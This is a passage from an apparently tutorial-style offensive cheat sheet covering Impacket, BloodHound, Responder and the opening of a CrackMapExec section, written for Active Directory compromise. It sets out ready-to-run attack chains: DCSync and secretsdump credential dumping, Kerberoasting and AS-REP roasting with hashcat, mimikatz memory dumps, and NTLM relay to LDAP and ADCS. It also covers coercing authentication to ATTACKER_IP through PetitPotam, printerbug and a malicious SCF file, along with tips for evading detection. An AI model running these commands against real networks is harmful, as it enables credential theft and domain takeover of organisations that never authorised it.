• atexec.py - Via Task Scheduler
• dcomexec.py - Via DCOM objects

Credential Dumping:
• secretsdump.py - Dump SAM/NTDS/LSA secrets
• secretsdump.py -just-dc - DCSync attack (all domain hashes)
• mimikatz.py - Execute Mimikatz remotely

Kerberos Attacks:
• GetNPUsers.py - AS-REP roasting (no creds needed!)
• GetUserSPNs.py - Kerberoasting (crack service account passwords)
• ticketer.py - Create Golden/Silver tickets
• getST.py - Request service tickets

Lateral Movement:
• psexec.py -hashes - Pass-the-hash
• psexec.py -k - Pass-the-ticket
• ntlmrelayx.py - NTLM relay attacks

Enumeration:
• GetADUsers.py - Enumerate domain users
• lookupsid.py - SID enumeration
• samrdump.py - Dump SAM info
• rpcdump.py - Enumerate RPC endpoints

File Operations:
• smbclient.py - Interactive SMB client
• smbserver.py - Create fake SMB server

Common Flags:
• -hashes :NTLM - Pass-the-hash
• -k -no-pass - Use Kerberos ticket
• -dc-ip IP - Specify domain controller
• -target-ip IP - Specify target
• -just-dc - DCSync (domain hashes only)
• -just-dc-ntlm - Only NTLM hashes
• -just-dc-user USER - Specific user

Attack Kill Chain:
1. Initial Access: AS-REP roasting (GetNPUsers.py) → Crack → Get first domain user
2. Privilege Discovery: Kerberoasting (GetUserSPNs.py) → Crack → Get service account
3. Lateral Movement: psexec.py / wmiexec.py with pass-the-hash
4. Persistence: secretsdump.py -just-dc → Get krbtgt → Create Golden Ticket
5. Domain Domination: Golden Ticket = Domain Admin forever!

Impacket is THE toolkit for Windows/AD hacking. Master it = Master Windows pentesting! 🏆

BloodHound (THE Active Directory Attack Path Visualization Tool)

What is BloodHound? BloodHound uses graph theory to reveal hidden relationships and attack paths in Active Directory. It shows you the SHORTEST path from your current user to Domain Admin! Think of it as "Google Maps for AD hacking" - it finds routes through complex AD environments that humans would NEVER spot manually!

Why BloodHound? Active Directory has thousands of users, groups, computers, ACLs, and trust relationships. BloodHound ingests ALL this data, builds a graph database, and lets you query: "How can THIS user become Domain Admin?" Answers in seconds what would take weeks manually!

Components of BloodHound
# BloodHound has 3 parts: # 1. DATA COLLECTORS (SharpHound): # - SharpHound.exe (Windows) # - SharpHound.ps1 (PowerShell) # - Bloodhound.py (Python - Linux remote collection) # Collect: Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs # 2. DATABASE (Neo4j): # - Graph database that stores AD data # - Uses Cypher query language # - Pre-installed in Kali # 3. GUI (BloodHound): # - Electron-based app # - Visualizes attack paths # - Pre-built queries + custom Cypher queries
Installation & Setup
# Install BloodHound + Neo4j (pre-installed in Kali): sudo apt install bloodhound neo4j # Start Neo4j database: sudo neo4j console # Or as service: sudo systemctl start neo4j # Access Neo4j web interface: http://localhost:7474 # Default creds: neo4j / neo4j (change on first login!) # Start BloodHound GUI: bloodhound # Login with Neo4j credentials # BEGINNER TIP: # Neo4j = Database (must be running FIRST!) # BloodHound = GUI (connects to Neo4j)
Data Collection with SharpHound

SharpHound is the data collector that runs on Windows. It uses Windows APIs and LDAP to enumerate Active Directory!

# WINDOWS - SharpHound.exe (easiest method): # Download SharpHound from GitHub: https://github.com/BloodHoundAD/SharpHound/releases # Get: SharpHound.exe or SharpHound.ps1 # Basic collection (from domain-joined Windows machine): .\SharpHound.exe --CollectionMethods All # Collects: Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs, Containers, OUs # BEGINNER EXPLANATION: # SharpHound connects to: # - Domain Controller (LDAP queries for users/groups/computers) # - All domain computers (NetSessionEnum for logged-in users) # - File shares (to find sessions) # Output: 20230109123456_BloodHound.zip (import this into BloodHound!) # Collection Methods: # All (recommended - collects everything): .\SharpHound.exe -c All # Default (quick scan): .\SharpHound.exe -c Default # Collects: Group memberships, local admin, sessions (no ACLs/GPOs) # DCOnly (only query DC, no network scanning): .\SharpHound.exe -c DCOnly # Fastest! But misses logged-in users # Specific methods: .\SharpHound.exe -c Group,LocalAdmin,Session,Trusts,ACL,Container,GPOLocalGroup,LoggedOn,ObjectProps,RDP,DCOM,PSRemote # Pick what you need # Common flags: # Specify domain: .\SharpHound.exe -c All -d corp.local # Specify Domain Controller: .\SharpHound.exe -c All -d corp.local --DomainController DC01.corp.local # Output directory: .\SharpHound.exe -c All --OutputDirectory C:\temp\ # Output filename: .\SharpHound.exe -c All --OutputPrefix MyCompany # Exclude Domain Controllers (stealth): .\SharpHound.exe -c All --ExcludeDCs # Throttle requests (avoid detection): .\SharpHound.exe -c All --Throttle 1000 # 1000ms delay between requests # Jitter (randomize timing): .\SharpHound.exe -c All --Jitter 20 # 20% randomization # No ping before scanning: .\SharpHound.exe -c All --SkipPing # Loop collection (continuous monitoring): .\SharpHound.exe -c All --Loop --LoopDuration 01:00:00 # Runs for 1 hour, collects every X minutes
Data Collection with BloodHound.py (Linux Remote Collection)
# LINUX - bloodhound.py (remote collection from Kali): # Install: sudo apt install bloodhound.py # Or: pip3 install bloodhound # Basic collection (requires domain credentials): bloodhound-python -u username -p password -d corp.local -ns 192.168.1.10 -c All # -u: Domain username # -p: Password # -d: Domain name # -ns: DNS server (Domain Controller IP) # -c: Collection method # BEGINNER EXPLANATION: # bloodhound.py connects remotely via: # - LDAP to DC (enumerate users/groups/computers) # - RPC/SMB to computers (find sessions) # Output: computers.json, users.json, groups.json, etc. # Collection methods: bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c DCOnly # DCOnly = Only query DC (fastest, stealthiest) bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c All # All = Full collection (slower, noisier) # Use NTLM hash instead of password: bloodhound-python -u user -p :NTLM_HASH -d corp.local -ns 192.168.1.10 -c All --hashes # Specify Domain Controller: bloodhound-python -u user -p pass -d corp.local -dc DC01.corp.local -ns 192.168.1.10 -c All # Output to specific directory: bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c All --zip # Creates: bloodhound.zip (import into BloodHound)
Import Data into BloodHound
# Step 1: Start Neo4j database sudo neo4j start # Step 2: Start BloodHound GUI bloodhound # Step 3: Login to BloodHound # Username: neo4j # Password: (password you set during first Neo4j login) # Step 4: Import data # Click "Upload Data" button (right side) # Select: 20230109123456_BloodHound.zip OR *.json files # Wait for import (may take 1-5 minutes for large domains) # Step 5: Verify data loaded # Top right shows: Users, Groups, Computers, etc. count # Example: 5,234 Users | 892 Groups | 1,456 Computers # BEGINNER TIP: # Clear old data before importing new scan: # Database Info → Clear Database
Pre-Built Queries (The Power of BloodHound!)
# BloodHound has 30+ pre-built queries! # Click "Analysis" tab (top left) to see them: # === PATHFINDING QUERIES === # 1. Find Shortest Paths to Domain Admins # Shows: How your current user can become Domain Admin # Example path: # User1 → MemberOf → IT Admins → GenericAll → Admin User → MemberOf → Domain Admins # 2. Find Shortest Paths to Unconstrained Delegation Systems # Finds: Computers with unconstrained delegation (VERY vulnerable!) # Attack: Compromise computer → Extract TGT tickets → Impersonate Domain Admin # 3. Find Shortest Paths to Domain Admins from Owned Principals # After you compromise users, mark them "Owned" → Find paths from owned users to DA # 4. Find Shortest Paths to High Value Targets # High Value = Domain Admins, Enterprise Admins, Cert Publishers, etc. # === DOMAIN INFORMATION === # 5. Find all Domain Admins # Lists: All Domain Admin accounts # 6. Map Domain Trusts # Shows: Trust relationships between domains (bidirectional, one-way, etc.) # === DANGEROUS PERMISSIONS === # 7. Find Principals with DCSync Rights # DCSync = Can dump all domain hashes (without touching DC!) # Users/Groups with: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All # 8. Users with Foreign Domain Group Membership # Finds: Users in other domains who are members of THIS domain's groups # 9. Groups with Foreign Domain Group Membership # Finds: Cross-domain group memberships (trust abuse!) # 10. Find Computers where Domain Users are Local Admin # Finds: Computers where "Domain Users" group has local admin (BAD config!) # 11. Find Computers where Domain Users can Read LAPS Passwords # LAPS = Local Administrator Password Solution # If Domain Users can read LAPS → Instant local admin on computers! # === KERBEROS ATTACKS === # 12. List all Kerberoastable Accounts # Finds: Service accounts with SPNs (can be Kerberoasted!) # Attack: Request TGS → Crack offline # 13. Find AS-REP Roastable Users (DontReqPreAuth) # Finds: Users with "Do not require Kerberos preauthentication" # Attack: Request AS-REP → Crack offline (no password needed!) # 14. Find Shortest Paths to Unconstrained Delegation Systems # Unconstrained delegation = Computer can impersonate ANY user # Attack: Compromise computer → Steal TGT → Impersonate DA # 15. Find Constrained Delegation # Constrained delegation = Computer can impersonate users to SPECIFIC services # Attack: S4U2Self + S4U2Proxy = Access as ANY user # === SESSIONS & LOCAL ADMIN === # 16. Find Workstations where Domain Users can RDP # Finds: Workstations where Domain Users group has RDP access # 17. Find Servers where Domain Users can RDP # Finds: Servers where Domain Users has RDP (BAD!) # 18. Find Dangerous Rights for Domain Users Groups # Finds: Excessive permissions granted to Domain Users # 19. Find Computers with Unsupported Operating Systems # Finds: Windows 7, Server 2008 (unpatched = easy targets!) # 20. Find Shortest Paths to High Value Targets from Owned Principals # Mark compromised users as "Owned" → Find paths to DA # === GPO ABUSE === # 21. Find GPOs that Apply to Domain Admins # If you control a GPO → You control who it applies to! # 22. Find GPOs that Apply to High Value Groups # GPO abuse = Privilege escalation # === MISCONFIGURATION QUERIES === # 23. Find Users with Password Not Required # Finds: Users with empty passwords allowed # 24. Find Users with Password Never Expires # Finds: Service accounts with non-expiring passwords (often weak!) # 25. Find Computers with Unconstrained Delegation # (Repeat - VERY important!) # 26. Find Principals with Constrained Delegation # Delegation attacks = Easy privesc # 27. Find Users that can Modify Group Memberships # GenericAll, WriteMembers on groups → Add yourself to Domain Admins! # 28. Find Users that can Reset Passwords # ForceChangePassword → Reset admin password! # 29. Find Users that can Take Ownership # WriteOwner → Take ownership of objects → Grant yourself permissions # 30. Find Users that can Modify ACLs # WriteDacl → Grant yourself any permission!
How to Read BloodHound Graphs
# Node Types: # 🔵 User = Domain user account # 🟢 Group = Security group # 🟡 Computer = Domain-joined computer # 🔴 Domain = AD domain # Edge Types (Relationships): # MemberOf → User is member of Group # AdminTo → User/Group has local admin on Computer # HasSession → User has active session on Computer # GenericAll → Full control over object (can do ANYTHING!) # WriteDacl → Can modify permissions (grant yourself GenericAll!) # WriteOwner → Can take ownership (then grant yourself GenericAll!) # ForceChangePassword → Can reset user's password # GenericWrite → Can modify some attributes # AddMember → Can add members to group # AllExtendedRights → Can perform extended operations (e.g., change password) # ReadLAPSPassword → Can read LAPS password (local admin!) # Contains → Container relationship # Reading Attack Paths: # Example: User1 → MemberOf → IT Admins → AdminTo → SERVER01 → HasSession → Domain Admin # Translation: # 1. User1 is member of IT Admins group # 2. IT Admins group has local admin on SERVER01 # 3. Domain Admin has active session on SERVER01 # 4. Attack: Compromise User1 → RDP to SERVER01 as IT Admin → Dump Domain Admin credentials from memory! # BEGINNER TIP: # Right-click nodes → "Mark as Owned" when you compromise them # Then run: "Find Shortest Paths to Domain Admins from Owned Principals"
Custom Cypher Queries

Cypher is Neo4j's query language. BloodHound lets you write custom queries!

# Open Raw Query Box: # Bottom panel → "Raw Query" box # Find all Domain Admins: MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN u.name # Find users with DCSync rights: MATCH (u:User)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name # Find shortest path from specific user to Domain Admin: MATCH (u:User {name:"USER1@CORP.LOCAL"}), (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}), p=shortestPath((u)-[*1..]->(g)) RETURN p # Find all users with local admin on specific computer: MATCH (u:User)-[:AdminTo]->(c:Computer {name:"SERVER01.CORP.LOCAL"}) RETURN u.name # Find all computers where user has admin: MATCH (u:User {name:"USER1@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c.name # Find Kerberoastable users: MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames # Find AS-REP roastable users: MATCH (u:User {dontreqpreauth:true}) RETURN u.name # Find users with empty passwords: MATCH (u:User {passwordnotreqd:true}) RETURN u.name # Find users with GenericAll on other users: MATCH (u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name # Find paths from owned principals to DA: MATCH (u:User {owned:true}), (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}), p=shortestPath((u)-[*1..]->(g)) RETURN p # Find high-value targets: MATCH (u:User {highvalue:true}) RETURN u.name # BEGINNER TIP: # Copy queries from HackTricks: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/bloodhound
Complete BloodHound Workflow
# STEP 1: Collect Data # Option A: From Windows (domain-joined machine): .\SharpHound.exe -c All # Option B: From Linux (remote): bloodhound-python -u lowpriv -p password -d corp.local -ns 192.168.1.10 -c All --zip # STEP 2: Start Neo4j + BloodHound sudo neo4j start bloodhound # STEP 3: Import Data # BloodHound GUI → Upload Data → Select .zip file # STEP 4: Mark Owned Principals # If you compromised user1, right-click user1 node → "Mark User as Owned" # STEP 5: Run Queries # Analysis → "Find Shortest Paths to Domain Admins from Owned Principals" # STEP 6: Analyze Attack Path # Example path: # user1 → MemberOf → Help Desk → GenericAll → Server Admin → AdminTo → DC01 → HasSession → Domain Admin # Translation: # 1. user1 is in Help Desk group # 2. Help Desk has GenericAll on Server Admin user # 3. Server Admin has local admin on DC01 # 4. Domain Admin has session on DC01 # Attack steps: # 1. Authenticate as user1 # 2. Use GenericAll to reset Server Admin password: net user "Server Admin" NewPassword123! /domain # 3. Authenticate as Server Admin # 4. RDP/PSExec to DC01 # 5. Dump Domain Admin credentials from memory: impacket-secretsdump CORP/ServerAdmin:NewPassword123!@DC01 # STEP 7: Execute Attack # Follow the path BloodHound showed! # STEP 8: Mark New Compromised Users # Right-click → "Mark as Owned" # Run query again → Find new paths # STEP 9: Repeat Until Domain Admin! # BloodHound shows you EXACTLY how to escalate!
Attack Techniques Based on BloodHound Findings
# FINDING: User has GenericAll on another user # ATTACK: Reset password net user target_user NewPassword123! /domain # Or force change password: rpcclient -U user1 DC01 > setuserinfo2 target_user 23 'NewPassword123!' # FINDING: User has WriteDacl on object # ATTACK: Grant yourself GenericAll # PowerView: Add-DomainObjectAcl -TargetIdentity "target_user" -PrincipalIdentity "attacker_user" -Rights All # FINDING: User has AddMember on group # ATTACK: Add yourself to Domain Admins net group "Domain Admins" attacker_user /add /domain # FINDING: User has ForceChangePassword on admin # ATTACK: Reset admin password (no current password needed!) rpcclient -U user1 DC01 > setuserinfo2 admin_user 23 'NewPassword123!' # FINDING: User can read LAPS password # ATTACK: Read local admin password Get-ADComputer SERVER01 -Properties ms-Mcs-AdmPwd | select ms-Mcs-AdmPwd # Then: psexec Administrator:LAPS_PASSWORD@SERVER01 # FINDING: User has AdminTo on computer with DA session # ATTACK: Dump DA credentials impacket-psexec CORP/user1:password@SERVER01 > mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" # Steal Domain Admin credentials from memory! # FINDING: User has DCSync rights # ATTACK: Dump all domain hashes impacket-secretsdump CORP/user1:password@DC01 -just-dc # Got krbtgt hash → Create Golden Ticket! # FINDING: Computer has unconstrained delegation # ATTACK: Compromise computer → Wait for DA to auth → Steal TGT # 1. Compromise computer with unconstrained delegation # 2. Force admin to authenticate (SpoolSample, PetitPotam, etc.) # 3. Extract TGT from memory: Rubeus.exe triage # 4. Use TGT: Rubeus.exe ptt /ticket:admin.kirbi # 5. Access DC: dir \\DC01\C$ # FINDING: Kerberoastable account # ATTACK: Request TGS → Crack impacket-GetUserSPNs CORP/user1:password -dc-ip 192.168.1.10 -request hashcat -m 13100 tgs.txt rockyou.txt # FINDING: AS-REP roastable account # ATTACK: Request AS-REP → Crack impacket-GetNPUsers CORP/ -dc-ip 192.168.1.10 -usersfile users.txt -format hashcat hashcat -m 18200 asrep.txt rockyou.txt

🎯 BloodHound Pro Tips

Advanced techniques for maximum efficiency:

Data Collection Tips:
• Start with DCOnly: Fast, stealthy, gets most important data (groups, users, trusts, ACLs)
• Run All collection later: When you need session data (who's logged in where)
• Loop collection: Run SharpHound every 30 minutes to track admin logins
• Stealth collection: Use --Throttle 5000 and --Jitter 50 to avoid detection

Analysis Tips:
• Mark ALL compromised users: BloodHound only shows paths FROM owned principals
• Check shortest paths FIRST: Don't manually hunt - let BloodHound find the way!
• Focus on GenericAll, WriteDacl, ForceChangePassword: These = easy wins
• Look for AdminTo + HasSession combinations: Admin on computer with DA session = JACKPOT!

Custom Queries:
• Save useful Cypher queries in text file for reuse
• Check HackTricks for community queries: https://book.hacktricks.xyz
• Query for specific attack paths (e.g., Kerberos delegation, GPO abuse)

Integration with Other Tools:
• PowerView: Abuse ACLs found by BloodHound
• Impacket: Execute attacks (psexec, secretsdump) on targets identified by BloodHound
• Rubeus: Kerberos attacks (Kerberoasting, AS-REP roasting, delegation abuse)
• Mimikatz: Dump credentials from computers identified by BloodHound

Common Mistakes:
❌ Not marking compromised users as "Owned" → No attack paths shown!
❌ Only running Default collection → Missing ACLs (most important data!)
❌ Ignoring high-value targets → Focus on shortest paths to HVTs!
❌ Not re-running collection → Admin login patterns change (run hourly!)

Real-World Workflow:
1. Get initial foothold (phishing, password spray)
2. Run SharpHound -c All (from compromised machine)
3. Import into BloodHound → Mark user as Owned
4. Run "Shortest Paths to DA from Owned Principals"
5. Follow the path! (abuse ACLs, dump creds, lateral move)
6. Mark new compromised users as Owned
7. Re-run query → Find new paths
8. Repeat until Domain Admin!

BloodHound turns AD pentesting from ART into SCIENCE. No more guessing - just follow the graph! 🎯🔍

Responder (LLMNR/NBT-NS Poisoning & Credential Theft)

What is Responder? Responder is a network poisoning tool that captures credentials by exploiting Windows name resolution protocols (LLMNR, NBT-NS, MDNS). When Windows machines can't find a resource, they broadcast requests to the local network. Responder answers those requests, tricks victims into authenticating to YOUR machine, and captures their NTLM hashes! Think of it as a "credential vacuum cleaner" for Windows networks!

Why Responder? Works WITHOUT credentials! Just plug into a network, run Responder, wait for Windows machines to broadcast name resolution requests, and collect hashes. Captured hashes can be cracked offline OR relayed to other machines (NTLM relay). Essential for initial access and lateral movement!

How Windows Name Resolution Works (The Vulnerability)
# Windows Name Resolution Order: # 1. Local hosts file (C:\Windows\System32\drivers\etc\hosts) # 2. DNS cache # 3. DNS server # 4. LLMNR (Link-Local Multicast Name Resolution) ← Responder exploits THIS! # 5. NBT-NS (NetBIOS Name Service) ← And THIS! # BEGINNER EXPLANATION: # When user types: \\fileserver\share # 1. Windows checks DNS # 2. DNS says "I don't know fileserver" # 3. Windows broadcasts on local network: "Who is fileserver?" # 4. Responder answers: "I'm fileserver!" (lie!) # 5. Victim connects to Responder # 6. Responder asks for authentication # 7. Victim sends NTLM hash # 8. Responder captures hash! # This happens automatically in Windows - users don't even notice!
Installation & Basic Usage
# Install (pre-installed in Kali): sudo apt install responder # Check version: responder --version # View help: responder -h # Basic usage (listen on all interfaces): sudo responder -I eth0 -v # -I: Network interface (eth0, wlan0, tun0) # -v: Verbose output (shows captured hashes) # BEGINNER TIP: # Responder must run as ROOT (needs to bind to ports 137, 138, 445, etc.) # Let it run! Responder will: # 1. Listen for LLMNR/NBT-NS broadcasts # 2. Poison responses (pretend to be requested resource) # 3. Capture authentication attempts # 4. Save hashes to /usr/share/responder/logs/ # Example output: [+] Listening for events... [NBT-NS] Poisoned answer sent to 192.168.1.100 for name FILESERVER [SMB] NTLMv2-SSP Client : 192.168.1.100 [SMB] NTLMv2-SSP Username : CORP\john.smith [SMB] NTLMv2-SSP Hash : john.smith::CORP:1122334455667788:ABC123... # ^ THIS IS THE HASH YOU WANT!
Responder Modes & Flags
# Protocol poisoning (enable/disable specific protocols): # Enable all protocols (default): sudo responder -I eth0 -v # Disable specific protocols: sudo responder -I eth0 -v --lm --disable-ess # --lm: Force LM hashing (weaker, easier to crack) # --disable-ess: Disable Extended Session Security # WPAD (Web Proxy Auto-Discovery) poisoning: sudo responder -I eth0 -wv # -w: Enable WPAD rogue proxy server # Captures browser authentication! # DHCP poisoning: sudo responder -I eth0 -vd # -d: Enable DHCP poisoning (sets YOUR machine as gateway/DNS!) # DANGEROUS: Can break network! # Analyze mode (don't poison, just observe): sudo responder -I eth0 -A # -A: Analyze mode (passive - see who's vulnerable without poisoning) # Useful for: Recon before attacking # Force WPAD authentication: sudo responder -I eth0 -wFv # -F: Force WPAD auth (more aggressive) # Rogue authentication server: sudo responder -I eth0 -rv # -r: Enable rogue authentication servers (HTTP, HTTPS, SMB, FTP, etc.)
Captured Hash Types
# Responder captures multiple hash types: # 1. NTLMv1 (old, weak, easy to crack): # Format: username::domain:LM_response:NTLM_response:challenge # Crack with: hashcat -m 5500 # 2. NTLMv2 (modern, stronger, but still crackable): # Format: username::domain:challenge:HMAC-MD5:blob # Crack with: hashcat -m 5600 # 3. NTLMv2-SSP (Session Security Protocol): # Same as NTLMv2 but with extended security # Crack with: hashcat -m 5600 # 4. HTTP Basic Auth (plaintext!): # Format: username:password (BASE64 encoded) # Decode: echo "BASE64" | base64 -d # Hashes saved to: /usr/share/responder/logs/ # Files: # - HTTP-Clear-Text-Password-192.168.1.100.txt (plaintext passwords!) # - SMB-NTLMv2-SSP-192.168.1.100.txt (NTLM hashes) # - HTTP-NTLMv2-192.168.1.100.txt (HTTP auth hashes)
Cracking Captured Hashes
# Extract hash from Responder log: cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.100.txt # Output: john.smith::CORP:1122334455667788:ABC123DEF456...:010100000000... # Crack with Hashcat: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # -m 5600: NTLMv2 # BEGINNER TIP: # NTLMv2 hashes format: username::domain:challenge:HMAC:blob # Copy the ENTIRE line into hash.txt! # Crack NTLMv1 (easier): hashcat -m 5500 ntlmv1_hash.txt /usr/share/wordlists/rockyou.txt # Crack with John the Ripper: john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # If cracking fails, try relay attack instead (ntlmrelayx)!
NTLM Relay Attack with Responder + ntlmrelayx

NTLM Relay: Instead of cracking hashes, RELAY captured authentication to other servers! If victim is admin on target server = instant shell!

# STEP 1: Edit Responder config (disable SMB/HTTP servers) sudo nano /usr/share/responder/Responder.conf # Change: # SMB = Off # HTTP = Off # (So Responder captures, but doesn't respond - ntlmrelayx will respond!) # STEP 2: Start Responder (captures auth): sudo responder -I eth0 -v # STEP 3: Start ntlmrelayx (relays auth): impacket-ntlmrelayx -tf targets.txt -smb2support # -tf: Target file (list of IPs to relay to) # -smb2support: Enable SMB2/3 # BEGINNER EXPLANATION: # 1. Responder poisons LLMNR/NBT-NS # 2. Victim tries to connect to Responder # 3. Responder forwards auth to ntlmrelayx # 4. ntlmrelayx relays to target server # 5. If victim is admin on target → SHELL! # STEP 4: Wait for authentication # When victim authenticates: [+] Authenticating against smb://192.168.1.50 as CORP\admin SUCCEED [+] Service RemoteRegistry is in stopped state [+] Starting service RemoteRegistry [+] Dumping SAM hashes Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # Got SAM hashes! No password cracking needed! # Relay + execute command: impacket-ntlmrelayx -t 192.168.1.50 -smb2support -c "whoami" # Relay + dump SAM: impacket-ntlmrelayx -t 192.168.1.50 -smb2support --dump-sam # Relay to LDAP (escalate to Domain Admin!): impacket-ntlmrelayx -t ldap://DC01.corp.local -smb2support --escalate-user normaluser # Adds normaluser to Domain Admins group!
Forcing Authentication (Make Victims Connect to Responder)
# Responder is PASSIVE - waits for victims to make mistakes # But you can FORCE victims to authenticate! # METHOD 1: File share link (phishing email) # Send email with: # Or: file://ATTACKER_IP/share/document.docx # Victim opens email → Windows tries to load image → Authenticates to Responder! # METHOD 2: Windows Search (trigger via network) # From compromised machine: dir \\ATTACKER_IP\share # Windows broadcasts name resolution → Responder poisons # METHOD 3: Shortcut file (.lnk) # Create malicious shortcut pointing to \\ATTACKER_IP\share # Drop on file share # Victim opens folder → Shortcut icon loads → Authentication captured! # METHOD 4: SCF file (Shell Command File) # Create @Share.scf: [Shell] Command=2 IconFile=\\ATTACKER_IP\share\icon.ico [Taskbar] Command=ToggleDesktop # Drop in accessible file share # Victim opens folder → Windows loads icon → Authentication! # METHOD 5: SpoolSample (force print server to authenticate) python3 printerbug.py CORP/user:password@VICTIM_IP ATTACKER_IP # Forces VICTIM_IP to authenticate to ATTACKER_IP # Combine with Responder or ntlmrelayx! # METHOD 6: PetitPotam (force DC to authenticate!) python3 PetitPotam.py ATTACKER_IP DC_IP # Forces Domain Controller to authenticate! # Combine with ntlmrelayx → Relay to ADCS → Get certificate → Authenticate as DC!
Responder Configuration File
# Edit Responder config: sudo nano /usr/share/responder/Responder.conf # Key settings: # [Responder Core] SQL = On # Poison SQL Server (MSSQL) resolution SMB = On # Poison SMB (FILE SHARES) RDP = On # Poison RDP Kerberos = On # Poison Kerberos (realm requests) FTP = On # Poison FTP POP = On # Poison POP3 SMTP = On # Poison SMTP IMAP = On # Poison IMAP HTTP = On # Poison HTTP (web proxy) HTTPS = On # Poison HTTPS DNS = On # Poison DNS LDAP = On # Poison LDAP DCERPC = On # Poison RPC WINRM = On # Poison WinRM # [HTTP Server] # Serve rogue authentication pages # [HTTPS Server] # SSL certificate for HTTPS poisoning # BEGINNER TIP: # For NTLM relay attacks, disable SMB + HTTP in config: # SMB = Off # HTTP = Off
Defense Evasion & Stealth
# Responder can be NOISY! Defenders may detect: # - LLMNR/NBT-NS poisoning (unusual responses) # - Multiple failed auth attempts # - Logs showing connections to unknown IPs # Stealth techniques: # 1. Analyze mode first (recon before attacking): sudo responder -I eth0 -A # Shows potential targets without poisoning # 2. Target specific protocols only: sudo nano /usr/share/responder/Responder.conf # Disable all except SMB (most common) # 3. Filter by IP/subnet (only poison specific targets): # Edit Responder.py source code to add IP filtering # 4. Short bursts (run Responder for 5-10 minutes, then stop): sudo timeout 600 responder -I eth0 -v # Runs for 10 minutes, then stops # 5. Use NTLM relay instead of capturing hashes: # Relay attacks = fewer logs, faster compromise # 6. Target non-production networks first: # Guest WiFi, conference rooms, IoT VLANs
Complete Attack Workflow
# SCENARIO 1: Capture & Crack Hashes # Step 1: Start Responder sudo responder -I eth0 -wv # Wait for victims... # Step 2: Check captured hashes cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt # Found: john.smith::CORP:challenge:hash... # Step 3: Crack hash hashcat -m 5600 john_hash.txt /usr/share/wordlists/rockyou.txt # Cracked: john.smith:Summer2023! # Step 4: Use credentials crackmapexec smb targets.txt -u john.smith -p Summer2023! # john.smith is admin on 192.168.1.50! # Step 5: Get shell impacket-psexec CORP/john.smith:Summer2023!@192.168.1.50 # SCENARIO 2: NTLM Relay to Domain Admin # Step 1: Edit Responder config sudo nano /usr/share/responder/Responder.conf # Set: SMB = Off, HTTP = Off # Step 2: Start Responder sudo responder -I eth0 -v # Step 3: Start ntlmrelayx (relay to DC LDAP) impacket-ntlmrelayx -t ldap://DC01.corp.local -smb2support --escalate-user lowpriv # Step 4: Force victim to authenticate (SpoolSample) python3 printerbug.py CORP/lowpriv:password@ADMIN_PC ATTACKER_IP # Step 5: ntlmrelayx relays → adds lowpriv to Domain Admins! [+] Authenticating against ldap://DC01.corp.local as CORP\ADMIN_PC$ SUCCEED [+] Escalating user lowpriv [+] lowpriv is now Domain Admin! # Step 6: DCSync with new DA privileges impacket-secretsdump CORP/lowpriv:password@DC01.corp.local -just-dc # SCENARIO 3: PetitPotam + NTLM Relay to ADCS # Step 1: Start ntlmrelayx (relay to ADCS) impacket-ntlmrelayx -t http://ADCS_SERVER/certsrv/certfnsh.asp -smb2support --adcs # Step 2: Trigger PetitPotam (force DC to authenticate) python3 PetitPotam.py ATTACKER_IP DC01.corp.local # Step 3: ntlmrelayx gets certificate from ADCS! [+] Got certificate for DC01$ [+] Saved to DC01.pfx # Step 4: Use certificate to authenticate as DC python3 gettgtpkinit.py CORP.LOCAL/DC01$ DC01.pfx DC01.ccache # Step 5: DCSync with DC credentials export KRB5CCNAME=DC01.ccache impacket-secretsdump CORP.LOCAL/DC01$@DC01.corp.local -k -no-pass -just-dc

🎯 Responder Pro Tips

Maximize credential capture success:

Best Times to Run Responder:
• Monday morning: Users logging in, accessing file shares
• After lunch: Users reconnecting to resources
• During meetings: Users accessing shared presentations
• End of day: Users saving files to network shares

Target Networks:
• Guest WiFi: Less monitoring, easier access
• Conference room networks: Visitors + employees
• IoT VLANs: Printers, cameras trying to access file shares
• Developer networks: Build servers, CI/CD pipelines

Combo Attacks:
• Responder + CrackMapExec: Capture hash → Crack → Spray across network
• Responder + ntlmrelayx + BloodHound: Relay to high-value targets
• Responder + Mitm6: IPv6 + LLMNR poisoning (double the captures!)

What to Do with Captured Hashes:
1. Crack with Hashcat/John: Get plaintext passwords
2. Pass-the-hash: Use hash directly with Impacket/CrackMapExec
3. Relay to LDAP: Escalate to Domain Admin
4. Relay to SMB: Get shell on target machines
5. Relay to ADCS: Get certificate → Authenticate as computer account

Common Mistakes:
❌ Running Responder without checking logs → Missing captured hashes!
❌ Not disabling SMB/HTTP for relay attacks → ntlmrelayx conflicts
❌ Running too long → Defenders detect anomalies
❌ Not forcing authentication → Waiting passively when you can trigger!

Defense Detection (What NOT to do):
• Don't run 24/7 (suspicious pattern)
• Don't poison ALL protocols (too noisy)
• Don't ignore failed relays (defenders may be monitoring)
• Don't use on production critical VLANs during business hours

Responder = Passive income for hackers. Set it and forget it! 💰🔓

CrackMapExec (THE Ultimate Network Swiss Army Knife)

What is CrackMapExec (CME)? CrackMapExec is a post-exploitation framework for pentesting Windows/Active Directory networks. It automates: password spraying, SMB enumeration, credential validation, command execution, lateral movement, and MORE! Think of it as "nmap + metasploit + impacket" combined into ONE tool with a beautiful console interface!

